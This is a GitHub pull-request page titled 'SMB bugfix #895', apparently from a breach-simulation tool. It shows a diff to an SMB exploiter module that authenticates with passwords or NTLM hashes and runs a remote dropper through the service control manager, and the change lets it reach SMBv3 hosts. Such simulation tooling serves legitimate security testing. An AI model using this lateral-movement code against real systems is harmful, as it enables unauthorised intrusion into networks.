Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

SMB bugfix #895

Merged
merged 3 commits into from
Dec 15, 2020
Merged

SMB bugfix #895

Changes from all commits
Commits
Show all changes
3 commits
Select commit Hold shift + click to select a range
04e8941
SMB bugfixed to be able to exploit machine with smb v3, by not specif…
VakarisZ Dec 4, 2020
4b1331c
Merge remote-tracking branch 'upstream/develop' into smbexec_bugfix
VakarisZ Dec 4, 2020
55f4684
Fixed function call that had too many arguments in smbexec.py
VakarisZ Dec 4, 2020
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 3 additions & 5 deletions monkey/infection_monkey/exploit/smbexec.py
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
from logging import getLogger

from impacket.dcerpc.v5 import scmr, transport
from impacket.smbconnection import SMB_DIALECT

from common.utils.attack_utils import ScanStatus, UsageEnum
from common.utils.exploit_enum import ExploitType
Expand Down Expand Up @@ -104,7 +103,7 @@ def _exploit_host(self):
LOG.debug("Exploiter SmbExec is giving up...")
return False

self.set_vulnerable_port(self.host)
self.set_vulnerable_port()
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
Expand All @@ -121,8 +120,7 @@ def _exploit_host(self):
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port)
if hasattr(rpctransport, 'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
rpctransport.setRemoteHost(self.host.ip_addr)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None)
Expand Down Expand Up @@ -168,7 +166,7 @@ def _exploit_host(self):
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
return True

def set_vulnerable_port(self, host: VictimHost):
def set_vulnerable_port(self):
if 'tcp-445' in self.host.services:
self.vulnerable_port = "445"
elif 'tcp-139' in self.host.services:
Expand Down